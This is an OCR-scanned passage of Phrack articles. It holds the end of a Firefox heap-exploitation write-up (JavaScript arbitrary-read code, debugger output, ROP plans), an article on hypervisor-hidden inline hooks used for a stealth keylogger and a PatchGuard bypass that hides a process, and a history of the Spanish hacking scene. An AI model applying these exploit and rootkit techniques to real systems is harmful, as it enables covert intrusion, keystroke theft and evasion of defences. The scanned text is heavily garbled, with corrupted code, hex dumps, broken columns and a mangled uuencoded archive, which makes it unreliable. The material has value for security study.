write_val_bytes = hex_to_bytes("00000000" + read_addr) ; 


write_val_double = bytes_to_double(write_val_bytes) ; 
container [pwned_index] [65] = write_val_double; 
leaked = "[*] leaked: " + container [pwned_index] [62]; 


log (leaked) ; 
Our Uint32Array now looks like: 
[ The contents of our Uint32Array ] 


[ string jsval ] 
15£16100 15f16110 ffff£FF85 51575751 51575751 


[ fake non-inline string ] 
[ size [ addr 
15£16110 00000049 00000002 cafebabe 00000000 


LSELOL2Z0: <SLSTOTSL: SASTOTOL: SISTS fo) OVS TofS 4 
15£16130 51575751 51575751 51575751 51575751 


Trying to read from address cafebabe leads of course to a crash (just to 
demonstrate) : 


0:000> g 
(858.£68): Access violation - code c0000005 (first chance) 


First chance exceptions are reported before any exception handling. 
This exception may be expected and handled. 


ax=cafebac0O ebx=00000000 ecx=133bb7£4 edx=00000000 esi=00000002 
edi=133bb7e0 eip=67df0192 esp=003ad120 ebp=cafebabe 

iLop1l=0 nv up ei pl nz na po nc 

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00010202 


xul!js::ConcatStrings<0>+0x178: 
67d£0192 mov al,byte ptr [ebp] ss:002b:cafebabe=?? 


We finally have a re-usable arbitrary leak primitive and we also know the 
base of xul.dll. We can dynamically search for ROP gadgets and construct 
our ROP chain at exploit runtime in JavaScript. 
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Exploiting use-after-free bugs with the presented methodology is a matter 
of reclaiming the jemalloc region left by the freed object with a typed 
array (Uint32Array). Then we use the fake object’s methods to overwrite the 
metadata of a neighboring sprayed ArrayObject, and we apply the given 
methodology. 


-—-[ 6 — Conclusion 


Greetz and thankz to the Phrack Staff for bugging me to write this and for 
their very helpful review ;) The Immunity team during my dry run for 
Infiltrate also provided insightful comments. 


Finally, bro sups to huku, nemo, the CENSUS crew and all the !fapperz. 
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EPT violation, we just change it back and let the CPU continue on it. 


It is noteworthy that there are many kinds of hooks. In this paper, we 
focus on the inline hook for the modifications on the code section. Other 
types like SSDT hook or kernel object manipulation are outside the scope of 
this article. 


The platform we are woking on are Windows 7 x64 and Windows 8.1 x64. Sure, 
with the invisible inline hooks, you can ignore Windows PatchGuard! 


--[ 2. Background 


--[{ 2.1 Intel VMX 


VMX is short for Intel virtual-machine extensions, it supports 
virtualization of CPUs in hardware. VMX supports two more lower operation 
mode called root and non-root mode. Usually processor has running 

mode known as ring-0O to ring-3, where ring-0O is kernel mode, ring-3 is user 
mode, ring 1 and ring 2 are rarely used. When CPU enables virtualization, 
it could be seen as running in the non-root mode. The root mode can be 
considered as a lower and more privileged level, it controls the whole CPU. 
And the guest operating system will run in non-root mode. Root mode runs 
VMM (Virtual Machine Monitor) is often called ring -1l. 


VMXON and VMXOFF are instructions to enter and exit VMX mode. There is an 
important data structure called VMCS (Virtual-Machine Control Structure), 
which is 4 KB large in size. It controls the state switch between VMX root 
mode and VMX non-root mode. From root mode to non-root mode called VM Exit. 
From non-root mode to root mode called VM Enter. 


Every logical CPU (each core in a real physical CPU is called a logical 
CPU) has a processor state called VMCS pointer. It contains the physical 
address of the VMCS. There could be many VMCSs, the one stored in VMCS 
pointer is considered as the current one. Every VMCS can represent a 
virtual processor for the virtual machine, inside virtual machine, that is 
a logical CPU seen by operating system. Although hypervisor knows the 
physical address of a VMCS, but hypervisor cannot modify it directly, 
hypervisor can only reads and writes VMCS using VMREAD, VMWRITE 
instructions. Hypervisor use VMPTRLD to set a VMCS both as active and 
current. And use VMCLEAR to mark the VMCS as inactive. 


A VMCS contains many fields related every aspect of a virtual machine. 
There are six fields: Guest-state area, Host-state area, VM-execution 
control fields, VM-exit control fields, VM-entry control fields and VM-exit 
information fields. And each field also contains many more control fields 
with a lot of settings. Once the CPU enters into a virtual machine by 
execute VMLAUNCH which associates with a VMCS, this virtual machine is 
fully control by the settings in the VMCS. Hypervisor can set during what 
circumstances the virtual machine should exit. And then the hypervisor can 
handle this situation, for exampl mulate a hardware device or change the 
virtual machine’s behavior. 


In our case, we do not actually emulate any hardware device, we put the 
current system into a virtual machine environment and our code run as the 
hypervisor. 


SS 22) PT 


Th xtended page-table mechanism (EPT) is used to support physical memory 
virtualization. When inside a virtual machine, a virtual memory access will 
be translated into a physical memory access by virtual CPU. Since the 
virtual machine is emulated, the physical memory inside the virtual machine 
is also emulated. It is called guest physical memory, which cannot be 
accessed directly by CPU. In earlier days, hypervisors had to maintain a 
guest virtual memory to host physical memory mapping called "shadow page 
table". It is hidden from guest operating system. Hypervisor needed to make 
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sure the guest operating system believes that there is no such thing. So 
every operation by the guest operating system had to be intercepted and 
handled by hypervisor to provide a ‘fake* result to look normal to the 
guest operating system. This was tedious dynamically. 


With EPT enabled virtual machine, hypervisor’s responsibilities drop. The 
guest CPU translates and accesses physical memory as it wishes. But the 
guest physical memory is interpreted again by the hypervisor to translate 
it to the real host physical memory. 


From the name, EPT is a page table. It is quite similar to the page tables 
in x86 architecture. Every guest physical address to host physical address 
translation is performed by EPT. In comparison to x86 paging mechanism, 
every VMCS has a EPT pointer, that is like CR3 in x86. It stores the root 
of the table. And it uses 4 level page-walk, there are PML4E, PDPTE, PDE 
and PTE. Page fault in EPT’s term is called EPT violation, that could be 
CPU accessing the guest physical memory which is not currently mapped or 
there is an access permission violation. 


--[ 3. How to make a hook invisible 
--[ 3.1 Hypervisor setup 


First we need to setup a hypervisor once Windows operating system 

boots up. It could be cumbersome just to fill VMXON region and VMCS that 
are the most important data structures in VMX. There have been open-sourc 
projects that have accomplished similar goals, e.g., Xen[2], HyperDbg[3], 
BluePill[4] and Intel. I learn from the giants. Code is available at 
EnalbeVMX() and VmxSetupVMCS() which both are called by doStartVMX(). 
doStartVMX() need to be called from every CPU core of the system. This is 
because we need to put every physical cpu core into VMX mode (interested 
reader is referred to Intel manual "31.5 VMM SETUP & TEAR DOWN&\200\235[5]). 


Once VMCS is set up properly and executes vmxlauch successfully, the 
hypervisor starts running. We then get many vm exits that we need to 
handle. The handling function is doVmxExitHandler() that is located in 
vmxexithandler.c. Some vm-exits happen even without any particular 
settings in VMCS; for example, the control register operations. 


—--[ 3.2 Memory 1:1 mapping 


Our hypervisor is loaded at run-time. The operating system and device 
drivers already has been initialized. So the physical pages and especially 
interface registers in devices which mapped to physical memory space 
through MMIO (Memory mapped IO) are decided. At this point we can choose 
mapping of the guest physical address space to host physical address space 
directly using EPT. It’s a 1:1 mapping. In other words, for example ther 
is physical address access at guest physical address 0x1C000, the 
underneath hypervisor will direct translate it to host physical address 


Ox1c000. 
# # # # Guest Virtual Pages 
\-/ \ \ 
Xx \ \ 
/-\ \ \ 
# # Guest Physical Pages 
| | 
| | (Guest machine) 
| | 
| | (Hypervisor) 
# # Host Physical Memory 
EPT tables entries also need to specify memory type. Because in physical 


memory space, there are RAM, ROM, graphics memory and device registers, 


15.txt 


they all exist in physical memory space. 


following: 


Wed Apr 26 09:43:48 2017 


Uncacheable 


Write 
Write 
Write 
Write 


The details of cache police 


Through 
Combine 
Protected 
Back 


covered here. 


Different kinds of memory should hav 
memory ranges of PCI devices shoul 
"Write Back" and graphics memory could be 
- As I test it, 


be 
performance 
space as "U 
you give up 
types as 
registers o 
strictly in 


To decide o 
Registers 
specified i 


mechanisms to assign memory types to physical 
registers to specify memory type for several ranges of memory, 
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system already boot up, 


operating system, 
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Fortunately on Windows 
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for 
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This information is 
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l page where the function is 
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In our implementation, 
actually we have two identical but slightly different 


original page and the shadow pag 


we do not change 
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content of the shadow page is 
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we change its mapping 
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EPT 


table entries 
EPT 
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vades the detection. 


all the time, 
tables. And the 
in these two 
between them. 


In HandleEptViolation () 


tables. When EPT violation happens, we just simply switch 
The EPT related functions are implemented in ept.c. 
handles the EPT violations: 
if (PAGE_ALIGN (ul64GuestPhysicalAddress) 
== PAGE_ALIGN (g_TmpShadowHookAddress) ) 
{ 
if (pCurrentVMMInitState->ShadowEpt ) 
{ 
SwitchToEPTOriginal (pCurrentVMMInitState) ; 
} 
else 
{ 
SwitchToEPTShadow (pCurrentVMMInitState) ; 
} 
return; 
} 
EptViolation( (BOOLEAN) (eqe & EPT_VIOLATION_EXIT_QUAL WRITE 


So when ept violation happe 


BIT), 


ul6é4GuestPhysicalAddress) ; 


ns, 


Ne acce 


ss violation, 


our solution first checks if faulting guest 
physical page equals the page where it installed the hook on. 
engine knows it is due to t 


If so, the 


and we just switch its 


mapping by using the other EPT table. If not, it is an IO page that needs a 
1:1 mapping. 
As it can be inferred, we can only install hook on one pag However, on 
can slightly extend it to handle multiple pages using Exit Qualification to 
determine the cause of the EPT violation (see Intel manual "28.2.2 EPT 
Translation Mechanism" [5]). The code that accomplishes that goal would be: 
define EPT_VIOLATION_EXIT_QUAL_READACCESS Oxl 
define EPT_VIOLATION_EXIT_QUAL_WRITEACCESS 0x2 
define EPT_VIOLATION_EXIT_QUAL_EXECUTEACCESS 0x4 
define EPT_VIOLATION_EXIT_QUAL_READABLE 0x8 
define EPT_VIOLATION_EXIT_QUAL_WRITABLE 0x10 
define EPT_VIOLATION_EXIT_QUAL_EXECUTABLE 0x20 
if (ege & (EPT_VIOLATION_EXIT_QUAL_ READABLE | 
EPT_VIOLATION_EXIT_QUAL _WRITABLE | 
EPT_VIOLATION_EXIT_QUAL_EXECUTABLE) ) 
{ 
if ((eqe & EPT_VIOLATION_EXIT_QUAL_READACCESS) || 
(ege & EPT_VIOLATION_EXIT_QUAL_WRITEACCESS) ) 
{ 
// Due to read or write access violatio 
} 
else if (eqe & EPT_VIOLATION_EXIT_QUAL_EXECUTEACCESS) 
{ 
// Due to execute access violation 
} 
} 
else 


// No any access violation, 


do a 1:1 mapping 
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--[ 3.4 User mode pages 


For user mode pages, because EPT is in charge of the physical page address 
translation underneath. Once you make sure which physical page is backing 
up the user mode page, the rest is almost the same as in kernel mode. But 
user mode pages often be swapped out to disk. When it swaps back to memory, 
it may ends up in a different physical page frame. 


So we have to lock the page from being swapped out. It is important for 
both kernel pages and user pages. How do we lock it? First thing to try 

is MmProbeAndLockPages(), but you have to release the lock before a process 
context switch. If you don’t, what will happen is Windows mm will know and 
give you a Bug Check 0x76: PROCESS_HAS LOCKED_PAGES. 


Since we already get into hypervisor, it is a little embarrassing to go 
back and find out what is going on with mm. Luckily, there is a win 32 API 
called VirtualLock(). From its name, we can tell it must be the one. 
Although this may leave a clue that something is going on with this page 
but it is just a common Win32 API, I guess many existing software modules 
make use of it. 


--[ 3.5 Execute and read at the same page 


There could be one situation that one instruction may be executed and read 
data at the same page. For example, the IAT jump table. That need READ and 
EXECUTE permission at the same time. 


One way to solve this problem is to give it all permissions for short 
period of time, let this special instruction do whatever it wants and then 
set it back. We set the READ and EXECUTE permissions and also set single 
step flag for the guest virtual machine. So it will execute and stop at the 
next instruction. We then handle this event and change the permissions 

back and clear the single step flag. Sounds like a plan, but in reality 
there will be some problems, virtual machine behaves strange with multiple 
CPUs. I am still trying to figure it out. This truly could be a problem, 
for which the solution would be emulating that instruction by hypervisor. 


--[ 3.6 Wakeup from sleep 


When CPU wakeup from S4 state(sleep), the CPU state is restored. But not 
the VMX states. It means when wakeup from sleep, the CPU is not in VMX mode 
anymore. We should reinitialize VMX when the system wakes up [1]. The code 
is located in powercallback.c. 


-—-[ 4 Demo 
--[ 4.1 A keylogger 


This is a simple keylogger that will leave no hook to be found. There are 
many places you can hook for a keylogger. The one we choose is 
KeyboardClassServiceCallBack. It is a low level function but not too low, 
both PS/2 and USE keyboard will call it to transfer keystrokes. And this 
part is not mine, I cannot find the right author to say thank you :) 


Inline hooking in 64bits environment usually takes 14 bytes rather than 
5 bytes in 32bits. It first pushes quad word address into stack, following 
by a RET instruction: 


PUSH <Low Absolute Address DWORD> 
MOV [RSP+4], DWORD <High Absolute Address DWORD> 
RET 
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So the original KeyboardClassServiceCallBack() looks like: 


FFLFLL880 ‘03994990 4c8bdc mov rll,rsp 

FFFLL880 ‘03994993 49895b08 mov qword ptr [r11+8],rbx 

f F880*03994997 49896b10 mov qword ptr [r11+10h],rbp 

f F880*039949s9b 49897318 mov qword ptr [rl1+18h],rsi 

f F880‘0399499f 57 push rdi 

E 880*039949a0 4154 push r12 

E 880*039949a2 4155 push £13 

F£ff£f880'039949a4 4156 push r14 

After inline hooking, it then looks like: 

F£fLL880 03994990 68b058d502 push 2D558BOh 

FFFLL880 ‘03994995 c7/44240480f8Fffff mov dword ptr [rspt+4],0FFFFF880h 
f £880 *0399499d c3 ret 

f £880*0399499e 90 nop 

f F880‘0399499f 57 push rdi 

f £880‘039949a0 4154 push r12 

f £880*039949a2 4155 push r13 

F£ELL880'039949a4 4156 push r14 

The address pushed into stack is the address of the trampoline function 


which first execute those missing instructions and then jump right back to 
the original KeyboardClassServiceCallback. 


With our attack, the malicious driver first make a copy of the page which 
KeyboardClassServiceCallback within. As mentioned before, it’s for the 
checker. Then it will tell hypervisor both of the pages by a vmcall. The 
hypervisor will then take care of the rest. 


One thing I should mention, the demos has some hard coded values, it works 
on my test machines, but you should modify it a little bit to run on other 
version of Windows. You know how it is :) 


--[ 4.2 Bypass PatchGuard 


PatchGuard won’t check driver images other than kernel, both the 
KeyboardClassServiceCallback hook keylogger and the interruption hook 
keylogger can not trigger it. So we have to simply hook a system service 
call which PatchGuard do care about. Let’s say NtQuerySystemInformation. If 
we don’t have hypervisor underneath, hooking a system service function will 
lead to BSOD with bug check code 0x109 (CRITICAL_STRUCTURE_CORRUPTION). It 
usually take several minutes for PatchGuard to find out, sometimes it may 
need half an hour. 


So in this demo project, we just simply inline hook 
NtQuerySystemInformation() and hide a process. In our explorations, we 
found out that there is some data within the same page with 
NtQuerySystemInformation(). And Windows operating system keeps referencing 
them. Hence this page will be switched back and forth between two EPT 
tables all the time. On the other hand, NtCreateFile() causes a very 
different silent situation. So in project "test" you can test either one of 
them by enabling function TestInvisibleNtCreateFileInlineHook() or 
TestInvisibleNtQuerySystemInformationInlineHook(). 


--[ 5 Other applications 


This could be used by rootkit, also it could be used by anti-virus products 
to hide track from being detected by malware. 


[To defend and discover O-day attacks, sandbox system is used more and more 
widely. It quit fficient because it does not heavily rely on virus 
Signatures. When a sample need to be analyzed, it will be put into a 
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virtual machine. It makes believe that this is a real victim machine and 
run the sample. And the monitor program will record all the behaviors that 
the sample shows. If any harmful behavior is found, this sample will be 
marked as malware or virus. 


So the whole sandbox system is based on monitoring. That is to say there 
will be a lot of hooks. Perhaps on Win32 API or system calls. 


You can imagine the malware and virus do not want to be treated like that, 
they try many ways to defeat sandbox system. One way that is used most 
commonly is to detect if there exists any hooks in the system. If there is, 
they will consider this as a trap and could behave accordingly. 


--[ 6. Greetings 


I’d like to say thank you to ufphpc and MysteryMop for the advices and 
helping me debugging. Thank Phrack Staff for the endless patience and 
encouraging. 


Special thanks to uay and our two kids :) 
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--[ 8. Appendix: Code 


begin 664 hypervisor_for_rootkit.tar.gz 

M’ XL (*%?BS58***P];7>B2-; ]U3ZG_P/K[LXQTUS!S<ROS!04[’C&1!\U[<PS 
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M=!0/:!G@C5V+C*V) ) LO9?]>SR’ 67GKWIFKH#1+:<FY/\OPH#RUCBIG#OXS*% 
M&":,Y, !|OV#8]Y"ROIBL>BC5/:Q"[ [DL#$]3,%4=1‘=T*>:N+9!X*O<A1, ('W 
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M5@80<P8/<P8 [RO@Y@PUG (&3>X (OV! GUD (, 5%+R+&’ \TM ‘UO’ F:, LXJ81<PF/ 
MF @3LL/#GB19*TU2’ QOC@SU9_) 5 (<F] [ZF.E*‘AUS=3Y"‘*3V+TV_[*I‘**D;W; .F 
M-&Q9AK] XSU9F *?*+-/SO/*3/' , #SYP29; \A\PQU\0Q;_OPCG\ *O/92G*5*T! 
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MO#D6WXEC?2@"—*. &? ‘LO520VD-&AS8OBWWOK*Z3VL[AI!**9F4A18Z]J!!M)_$ 
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M10KR/A, 9%?8?#1 ($81\N_8 *KOB7]C\"KOH69TA17JQU559:C:QO0I"*N2?/%) 
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==Phrack Inc.== 


Volume Ox0f, Issue 0x45, Phile #0x10 of 0x10 


[ International scenes ] 


[ By Various ] 
[ <various@nsa.gov> ] 


In this issue of your damn favorite magazine we bring you, not one, but 
three international scene articles. The first is about the glorious 
Spanish hacking scene. We had some very respected hackers review it and 
we believe we have brought you a real gem. 


For the second phile, rather than assembling information on a specific 
locale in the world, we have approached some of the predominant 
wargaming networks and have asked them to write up about their history 
and scene. We’re happy with what we have got, hopefully you are too. We 
have all played wargames some time in our life, right? It’s a hell of 

a hard work to maintain a wargaming platform and some people are ther 
to do it for you, for the community. 


Our third phile was a late addition due to absent minded Phrackstaff, 
but a strong contribution none the less. Austin Texas seems to have a 
strong lock picking scene, and jgor has thankfully written up this phile 
to tell us all about it. 


We would like to point out that the following articles are probably 
outdated, as their original submissions date back to mid-2015, however 

we believe they cover a fair deal of the, more or less, recent past and 
thus are worth publishing. The Phrack Staff cannot, in any way, 

guarantee the validity or the level of detail of the information presented 
herein. Want to add/correct something? Mail us and we will try to 

publish your side of the story as well. 


Enjoy 


—-Phrack Staff 


--[{ Contents 


1 - A small historic guide of the first Spanish hackers 


The Spani shy 90S “SGONe 0 geiene were aedses anee es ares Merce Molist & Jay Govind 
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1. Old old school 


Hi, I’m Mave 

hat I am going to tell you is of VITAL IMPORTANCE. YOUR FUTURE IS IN 
** XDANGER**** A LOT OF ****DANGER**** 

his morning, of January 31st 1996, at 9 in the morning, the judicial 
olice turned up at my home, more precisely the computer crime brigade, 
nd have ** ARRESTED ** me." 


5 


V0H +s 


This is how started the message that Mave sent to his colleagues of the 
Konspiradores Hacker Klub (KhK) when he had the "honour" of becoming the 
first hacker arrested in Spain. He was accused of penetrating systems 
belonging to the Carlos III university and of having used a stolen card in 
Compuserve, which was pretty standard among hackers back then. He was 
caught because of a mistake: he entered a chat channel under police 
surveillance with an account under his real name. 


KhK were 5 who were passionate about social engineering, meeting up ina 
Madrid cafe. Along with a limited few groups and lone wolves, between th 
late 80’s and early 90’s, they set down the bases of the Spanish hacking 
community. Another member of KhK, Lester the Teacher, would later write 
the first Spanish social engineering course, with those hacking pioneers 
mentioned in its introduction: 


"There was a time in which the Internet was only a place for survivors, a 
time in which Knowledge was acquired through a lot of personal work. 


A time in which respect was gained by sharing with those that didn’t know, 
things you had learnt with effort. 


A time in which technology ceased to be magical because you learned to 
read its innards and you could manage to understand it. 


At that time a Hacker was one who found that no matter how much he learnt 
about systems he always knew very little. 


A Hacker was the one that managed to program that routine even smaller and 
more beautiful. 


A Hacker was he who respected the work of others that he recognized as 
peers. 


This is a simple and somewhat spartan page, as things were then, dedicated 
to all those friends I had the fortune of finding online during that time, 
and here are a few of them: 


nder Wiggins, Omag, Akira, CenoIx, Agnus Young, D-Orb, Partyman, Quijote 
FL, Pink Pulsar, HorseRide, BlackMan/KhK, Wendigo/Khk, Mave/KhK, E] 
nano, Bugman, Joker, Spanish Taste, Cain, Savage 


AP 


As far as I can remember, I have never heard or read any of them call 
themselves a hacker."(1) 


The first Spanish hackers started appearing in the 70’s, from the fields 
of electronics and CB radio, when the word "hacker" had yet to reach 
Spain. They would build their own calculators and personal computers and 
worked in the few companies that used computers, such as the airline 
Iberia, state investigation centres, banks and local branches of 
northamerican companies. Among those few "computer nuts" Alberto Lozano 
stands out as one of the few Spaniards that bought an Apple I. Some years 
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later he would help create the first Apple clones. 


Alberto Lozano: "A Barcelona company built the Unitron, but couldn’t sell 
them because they contained two ROMs copyright Apple. They said to me: 
Make it work without having the same ROM. I encrypted the contents of the 
ROM and wrote a routine that decrypted it and placed a copy in RAM of that 
Apple ROM when you turned on the Unitron. However, when you turned off the 
machine, that would be lost. If a judge took the ROM and read it, it 
wouldn’t look in any way like the Apple one. In other words, I didn’t 
design a BIOS, I encrypted the same one. It was a hack: an interesting 
solution to an important problem." 


In 1978 Lozano created the first personal computer user club in Spain 
Apple II, Commodore Pet and Radio Shack’s TRS-80). The club reached 100 
members and in 1985 Lozano made a BBS out of it. 


Mave or Lester the Teacher were part of the generation following Lozano, 
when there was sufficient critical mass to talk of a hacker community. 
Many started out as crackers, among them the mythical Zaragoza duo of 
Super Rata Software & AWD, active from 1983 to 1986 and addicted to de 
protecting (cracking) games. They already had a rudimentary hacker ethic: 
their work had to be copyable using the ZX-Spectrum copy program Copion by 
Arguello, one that everyone had, was easy to copy and easy to find. 
Alternatively the games would autocopy using a key combo. 


However, AWD, as many others, left the cracking scene for the hacking one, 
obtained a modem and changed his handle to Depeche Mode. He joined 
HorseRide, Han Solo and Alf and together they created the first Spanish 
hacking group, active between 1987 and 1989. It was called Glaucoma, like 
the illness that attacks the eyes iris, a reference to their main hobby: 
penetrating RedIRIS (Iris-net), the Spanish university network, from where 
they would jump onto international X25 networks. 


It is still remembered how Glaucoma managed to get the password that gave 
access to the Telefonica X25 nodes (or PADS) in Spain: HorseRide and Han 
Solo, who were in their early twenties, passed off as sales rep for an 
English company selling shared mainframe time and wanted to buy X25 
accounts. When Telefonica did a demo, they memorized the password as the 
technician repeatedly entered it: ORTSAC, the reversed last name of the 
engineer that had set them up (CASTRO). 


2. X25 Hackers 


Depeche Mode met The Phreaker through the Minitel chat called QSD, a hub 
for European hackers. The Phreaker was Catalan and wrote comm programs for 
modems, such as COMS4, which in 1988 were used worldwide. His are the blue 
box for MX BB.BAS, the exploit for Linux imapd.c, NePED -one of the first 
IDS, resulting from a bet after a few too many beers-, and QueSO 
("Cheese"), which remotely determined OS’s and on which Nmap was based (2). 


The Phreaker created QueSO in 1996, when under the alias of Savage he 

helped the Portuguese group ToXyN in the first campaign of systematic 

attacks in the history of hacktivism against the government of Indonesia 
in favour of the independence of East Timor. The campaign consisted in 
a 
g 
a 


ssaulting and defacing the largest possible amount of Indonesian 
overnmental and corporate systems. Savage contributed creating exploits 
nd other purpose created tools such as QueSo. 


Savage: "We set up search scripts for all .id domains. For each one found, 
we’d look for the machines hosting www ftp mail and news and tried to 
attack all four. We set off as many automated attacks as we could. When 
we’d get a positive hit, we’d finish it off manually. We owned thousands 
of machines. When you have a working exploit and nobody knows the 
vulnerability, it’s really easy." 
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In the end, Indonesia recognized East Timor and QueSO became a weapon for 
peace: the Internet Operating System Counter project used it to produce a 
monthly report on the OS’s of European computers connected to the 
Internet, including Israel. The promoter of IOSC was a German who ran 
QueSO from a machine in USA maintained by Lebanese, called beirut.leb.net 

There was a curious conflict when two Israeli security companies 
reported that Israeli machines were being attacked from a Lebanese site. 
The news media exaggerated th vent and IOSC ended up shutting down. 


Returning to 1989, The Phreaker and Depeche joined El Maestro and Petavax 
to form the group Apostols. Later on they would be joined by Sir Lancelot 
and Ender Wiggins, who in 1987 wrote the first book in Spanish about 
hacking and phreaking: "Manual del novicio al hack/phreack" [The novices 
manual to hack/phreak] (3). Ender offered the Apostols his ample knowledge 
about phreaking in exchange for something he didn’t know: why the American 
blue-boxes didn’t work in Spain. 


Apostols: "We figured it out together, spending a ton of money calling 
each other. It was thanks to some high voice-pitched ladies in the Girona 
area who when answering the phone saying "digui" (hello), the tone was so 
high that it was hitting 2,500Hz and cutting the link. Someone from 
Telefonica told us and from there it dawned on us: Heck, it’s Sokotel! 
Sokotel was a type of link with in-band signalling. The US was signalling 
in 2,600Hz, which we had tried thousands of times and it didn’t work in 
Spain". 


Phreaking was essential to reach BBS’s and X25 networks, the natural field 
of action. As the European and USA X25 networks were linked, hacking 
sessions would generally extend beyond the ocean. The main port of entry 
for USA networks was the MITRE system, from a provider for the US Army. 
MITRE would gain fame from the book "The Cuckoo’s Egg" by Stiff Stoll, 
which recounts how hackers from CCC (Chaos Computer Club) used it to steal 


corporate secrets from USA and sell them to the KGB: 


The Phreaker: "MITRE was well connected to all the active networks back 
then. There was an entry menu to access a phone directory service which 
you could break out with the sequence CTRL-Y **Interrupt**. If you did it 
right, the menu would abort and drop you in a shell from where you could 
connect anywhere. It was known nearly worldwide and for years all the 
hackers would go in through there." 


"US X25 entry nodes/PADS were incorrectly configured. If you went in 
through the back, you had a modem to connect wherever you wanted 
worldwide. You only needed a list of nodes, which was easy to get: you’d 
go into a US university, check who’s connected and you’d get a list with 
the identification number of the network entry port that he had used. If 
you’d connect to that number when the user was no longer online, some 
operators had it pretty badly configured and with little effort (AT OK) 
you’d have the modem right there. Lists of accounts that everyone knew 
were circulating, one of them RMS belonging to Richard Stallman, on an MIT 
system, with no password." 


Another source of entertainment for Spanish hackers was to run and 
maintain their own BBS and visit those of their friends. Among the most 
notorious were Public NME, God’s House, Jurassic Park, MSX-Access, 
VampireBBS or Waikiki Island. Ender Wiggins even had the gall to open a 
hacker BBS (4) at the newspaper where he worked as the IT guy, taking 
advantage of the foreign journalists phone line. As a side note, Wiggins 
landed this job thanks to his expert knowledge of VMS, obtained hacking 
VAXes. On his first day at work he came across a problem: he didn’t know 
how to turn it on! He had never physically accessed one. 


3. 29A "I am the scene" 


The Galician BBS Dark Node would become the most famous BBS, breeding 
ground for 29A, the most internationally known Spanish group. Respected 
virus authors worldwide were part of 29A during its 13 year run from 1995 
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to 2008: Mister Sandman (es), Anibal Lecter (es), AVV (es), Blade Runner 
(es), Gordon Shumway (es), Griyo (es), Leugim San (es), Mr. White (es), 
Top (es), The Slug (es), VirusBuster (es), Wintermute (es), Darkman, Jacky 
Qwerty, Rajaat, Reptile, Super (es), Vecna, Mental Driller (es), SoPinky, 
ZOmbie, Benny, Bumbleb (es), LethalMind, Lord Julus, Prizzy, Mandragore, 
Ratter, roy g biv and Vallez (es). 


Amongst their always original creations stood out the first virus for WinNT 
/Win95/Win32s (Cabanas/Jacky Qwerty), and for 64 bits (Rugrat/roy g biv), 
the first multiplatform (Esperanto/MrSandman), the first reverse executing 
(Tupac Amaru/Wintermute), the first for Windows 2000 and Windows 98 ( 
appearing prior to the public launch of those OS’s, the first that ran 
under Linux and Windows (Winux/Benny), the first 32 bit polymorphic ( 
Marburg/GriYo), the first PHP trojan (Pirus/MaskBits as colaborator), the 
first virus to infect PDA’s (Dust/Ratter) the first for mobile phones ( 
Cabir/Vallez) or the first anti-ETA hacktivist virus (GriYo) and Tuareg ( 
MentalDriller). 


Marburg, the first 32 bit polymorphic virus, saw the light in October of 
1997 after a bitter discussion on alt.comp.virus between 29A members and 
the antivirus industry. 29A was criticizing the industry for false 
advertising, as their products could not detect 100% of virus, to which 
the industry responded with taunts. Following this, GriYo created Marburg 
which none of the existing antivirus could detect. Somehow Marburg ended 
up on the free CD’s that came with the magazines "PCGamer" and "PC Power 
Play", and on the MGM/Wargames game CD. Marburg spread throughout the 
world like wildfire. 


As 29A was an international group, so were its meet-ups which would last 
for days and days. They spent a month in Amsterdam, in Brno a few weeks. A 
nice and well loved Belgium female follower, Gigabyte, went to the latter 
one, who was so young that she travelled with her cheerful grandfather. 


Bernardo Quintero: "I went to a 29A meetup in Madrid. One afternoon we 
went to the funfair. While we were queueing up at one of the rides, one of 
them was wearing a print of a virus hex-dump on his back, and the two who 
were behind him, bored, started to translate it out loud on the run into 
assembler and to interpret what it did as if they were reading a book... I 
was amazed (any normal human being, including myself as someone 
knowledgable in that field, needed a computer, a disassembler and to spend 
a while to do something like that)." 


The long lifespan of 29A had it witness in first person the decadence and 
criminalization of the whole virus scene, a decadence which would also 
apply to the whole hacking scenario. 


Benny, in 29A ezine, 2002: "The whole scene and many things in it will no 
longer be the way it was. Some programmers talk of "death", "decadence", 
some talk of serious problems. (...) Script kiddies and their so called 
"vyirus/worms" rule in cyberworld. (...) Antivirus earn money off people 
whose stupidity is 99.99% responsible for vast virus outbreaks ("click 
here" viruses). Where are thos lite programmers, those elite groups? 
Where are those hi-tech viruses that *yesterday* dominated the world? 


*Decadence*". 


4. The community 


However, prior to the decadence, the latter half of the 90’s hada 
bubbling fertile and noisy community, proud heirs of the pioneers, meeting 
in newgroups such as es.comp.hackers, mailing lists such as hacking or 
hackindex, the IRC-Hispano chat group and ezines such as Raregazz, 
NetSearch, 7a69ezine, Cyberhack, CatHack, JJF Hackers Team or Virtual Zone 
Magazine. This breeding ground would give fruits in the form of tools that 
are still useful today such as Halberd (rwxrwxrwx), OSSIM (Ulandron), 
RKdetector (aT4r) or Unhide (Icehouse). 


The appearance of scores of newbie hackers showing up at the end of the 
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90’s on the Spanish Internet is due to InfovA-a, the low cost phone network 
set up by Telefonica to access the Internet at local calling rates. This 
multiplied the number of ISP’s, who practically gave away access, and the 
amount of internauts grew exponentially. 


Heading this small horde of apprentices were two veteran rival groups: 
'Hispahack from Catalonia and Saqueadores from Murcia. The former started 
in 1992 and their high technical level was apparent through the tools 
created and distributed by their members: SMBScanner (Flow), ICMPush ( 
Slayer), HTTPush (JFS) or Yersinia (Tomac and Slayer). Amongst their 
multiple feats, hacking forum.phrack.org with a PHP exploit in 2000. 


Unfortunately !Hispahack will not be remembered so much for their high 
level but for a police raid transformed into media circus in 1998 which 
ended up with one of its members, JFS, going on trial. His two seized 
computers produced password files allegedly stolen off machines from all 
over the world, from Thailand to Kiev, passing through Sweden, Canada, 
Australia, Germany or the European Organization for Nuclear Research ( 
CERN). A total of 9,459 accounts. In the end he was absolved due to 
inconsistencies in the proof presented. 


As for Saqueadores, they stood out due to the ezine of same name, born in 
1996, the longest running of the Spanish arena. Some of the notable hacks 
of the time were narrated inside, such as when the editor of the ezine in 
1997, Paseante, took control of InfovA-a (5), or when he obtained control 
of another sister, also owned by Telefonica, that controlled important 
networks of companies and institutions, amongst them the Iberia airline, 
the parliamentary congress, or Caja Madrid (a bank). 


Saqueadores is also credited with organizing the first hacking convention 
in Spain: the UnderCon (1997-2004), a private event with 30 to 60 
participants, depending on the edition, precursor of many conventions that 
are currently held throughout the country. 


Homs: "There were a lot of people interested in phreaking and hardware 
hacking, hacking lifts, foosballs, phone booths, the hotel pbx, etc. At 
night the people would gather according to their interests and you’d see 
phreakers in booths with crocodile clips or metal plates, hackers who 
would stay "working" in the hotel rooms, others scanning RF frequencies, 
